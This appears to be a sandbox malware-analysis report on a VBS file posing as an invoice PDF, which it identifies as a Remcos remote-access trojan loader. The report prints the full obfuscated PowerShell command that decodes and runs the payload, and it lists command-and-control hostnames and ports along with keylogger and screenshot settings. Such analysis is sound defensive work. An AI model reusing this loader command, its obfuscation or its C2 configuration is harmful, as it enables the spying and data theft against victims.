Analysis
- max time kernel
151s - max time network
161s - platform
windows10_x64 - resource
win10v20210408 - submitted
12/10/2021, 07:14
General
- Target eInviocing,pdf.vbs
- Size 2KB
- Sample211012-h2rmmsbfd5
- SHA256 1c49b4e3b554aeac842b8dc4daf0c5cf24015f96b68e935ddb4adb168b35a696
Malware Config
Extracted
-
remcos
-
3.3.0 Pro
-
CTS
-
Officialsw.chickenkiller.com:2310
-
official.ydns.eu:2310
-
hurricane.ydns.eu:2310
-
audio_folder
MicRecords
-
audio_path
%AppData%
-
audio_record_time
5
-
connect_delay
5
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
install_path
%AppData%
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
keylog_path
%AppData%
-
mouse_option
false
-
mutex
kul-SZSHVX
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
startup_value
Remcos
-
take_screenshot_option
false
-
take_screenshot_time
5
-
take_screenshot_title
notepad;solitaire;
Signatures
- Remcos
Remcos is a closed-source remote control and surveillance software.
- Blocklisted process makes network request 1 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 14 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\eInviocing,pdf.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $HB='!` ~+ ~A ~$ `` `+ `^ ~^ `& `! `$ `E `A ~+ `` `^ `& `$ !0 +D !0 !& ^$ &` &` &0 &+ +A !F !F ^+ ^` ^E !E ^` ^= &+ ^+ ^F &! ^` ^1 &0 &0 !E ^+ ^F ^D !F ^1 &` &` ^1 ^+ ^$ ^D ^~ ^E &` &+ !F +$ +^ +^ += +0 +^ +1 += +$ +& +` +0 +` ++ +` += +~ +^ !F +$ += +& ++ +~ +1 +1 +0 +$ +` +1 +! += +& +& +! +0 +! !F ^! &= &0 ^1 &+ &+ ~F `` ~F ++ +` +~ ++ +` +! ++ +1 +` ++ +~ +~ ++ +^ +` +~ +` +! +~ !E &` &$ &` !& +B 0D 0A !` `~ `` ~! `^ `& `$ `E `A `D `B `` `~ `^ `& `$ `A !0 +D !0 !& ^E `~ !D !D !D !D !D !D !D !D !D !D !D !D !D !D !D !D `~ ^! `+ !B !B !B !B !B !B !B !B !B !B !B !B !B !B !B !B ~` !& !E ~! ^~ &0 ^C ^1 ^+ ^~ !$ !& !D !D !D !D !D !D !D !D !D !D !D !D !D !D !D !D !& !C !& &` !E ~& !& != !E ~! ^~ &0 ^C ^1 ^+ ^~ !$ !& !B !B !B !B !B !B !B !B !B !B !B !B !B !B !B !B !& !C !& ^C `= `~ `E !& != +B 0D 0A !` ~+ ~$ `` `+ `^ ~^ `& `! `$ `E `A ~$ `` `+ `^ ~^ `& `! `$ `A `B !0 +D !0 !& `` `F !A !A !A !A !A !A !A !A !A !A !A !A !A ^1 `` ~+ ~` +C +C +C +C +C +C +C +C +C +E +E +E +E +E +E +E +E +E +E +E `& !& !E ~! ^~ &0 ^C ^1 ^+ ^~ !$ !& !A !A !A !A !A !A !A !A !A !A !A !A !A !& !C !& ~& ^E `C ^F !& != !E ~! ^~ &0 ^C ^1 ^+ ^~ !$ !& +C +C +C +C +C +C +C +C +C +E +E +E +E +E +E +E +E +E +E +E !& !C !& &! `= ^E !& != +B 0D 0A !` ~+ ~& ~$ `` `~ `+ ~! `^ `& ~= `$ ~~ `A `= ~+ `` `^ ~^ `& `$ `A !0 +D !& `= ^0 `~ ~$ !$ ^E ^0 !D !D !D !D !D !D !D !D !D !D !D !D !D ^0 ^+ ^0 ~` !0 !` `~ `` ~! `^ `& `$ `E `A `D `B `` +C +C +C +C +C +C +C +C +C +C +C +C +C +C +E +E +E +E +E +E +E +E +E +E +E +E +E +E `& `! `$ `E `A ~+ `` `^ `& `$ != !& !E ~! ^~ &0 ^C ^1 ^+ ^~ !$ !& !D !D !D !D !D !D !D !D !D !D !D !D !D !& !C !& ^~ ^0 ~& ^0 !D `F ^! ^A ^0 `~ !& != !E ~! ^~ &0 ^C ^1 ^+ ^~ !$ !& +C +C +C +C +C +C +C +C +C +C +C +C +C +C +E +E +E +E +E +E +E +E +E +E +E +E +E +E !& !C !& `~ `^ `& `$ `A != !E !` ~+ ~$ `` `+ `^ ~^ `& `! `$ `E `A ~$ `` `+ `^ ~^ `& `! `$ `A `B !$ !` ~+ ~A ~$ `` `+ `^ ~^ !& != +B 0D 0A !^ !$ !& `= !& !B !& `~ ~$ !& != !$ !` ~+ ~& ~$ `` `~ `+ ~! `^ `& ~= `$ ~~ `A `= ~+ `` `^ ~^ `& `$ `A !0 !D `A ^F ^= ^E !0 !& !& != &C !^ !$ !& `= !& !B !& `~ ~$ !& != +B'.Replace('!','2').Replace('`','4').Replace('^','6').Replace('+','3').Replace('~','5').Replace('&','7').Replace('$','8').Replace('=','9');Invoke-Expression (-join ($HB -split ' ' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"3⤵
- Suspicious use of SetWindowsHookEx
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1800-154-0x0000000000400000-0x0000000000479000-memory.dmp
memory/1800-159-0x0000000000400000-0x0000000000479000-memory.dmp
memory/3964-124-0x0000020FAFBB0000-0x0000020FAFBB1000-memory.dmp
memory/3964-126-0x0000020F959C0000-0x0000020F959C2000-memory.dmp
memory/3964-119-0x0000020FAF9F0000-0x0000020FAF9F1000-memory.dmp
memory/3964-122-0x0000020F959C0000-0x0000020F959C2000-memory.dmp
memory/3964-123-0x0000020FAFAA3000-0x0000020FAFAA5000-memory.dmp
memory/3964-121-0x0000020FAFAA0000-0x0000020FAFAA2000-memory.dmp
memory/3964-120-0x0000020F959C0000-0x0000020F959C2000-memory.dmp
memory/3964-125-0x0000020FAFAA6000-0x0000020FAFAA8000-memory.dmp
memory/3964-118-0x0000020F959C0000-0x0000020F959C2000-memory.dmp
memory/3964-130-0x0000020F959C0000-0x0000020F959C2000-memory.dmp
memory/3964-131-0x0000020F959C0000-0x0000020F959C2000-memory.dmp
memory/3964-141-0x0000020FAFAA8000-0x0000020FAFAA9000-memory.dmp
memory/3964-146-0x0000020F959C0000-0x0000020F959C2000-memory.dmp
memory/3964-147-0x0000020F959C0000-0x0000020F959C2000-memory.dmp
memory/3964-153-0x0000020FAFA50000-0x0000020FAFA53000-memory.dmp
memory/3964-117-0x0000020F959C0000-0x0000020F959C2000-memory.dmp
memory/3964-116-0x0000020F959C0000-0x0000020F959C2000-memory.dmp
memory/3964-158-0x0000020F959C0000-0x0000020F959C2000-memory.dmp
memory/3964-115-0x0000020F959C0000-0x0000020F959C2000-memory.dmp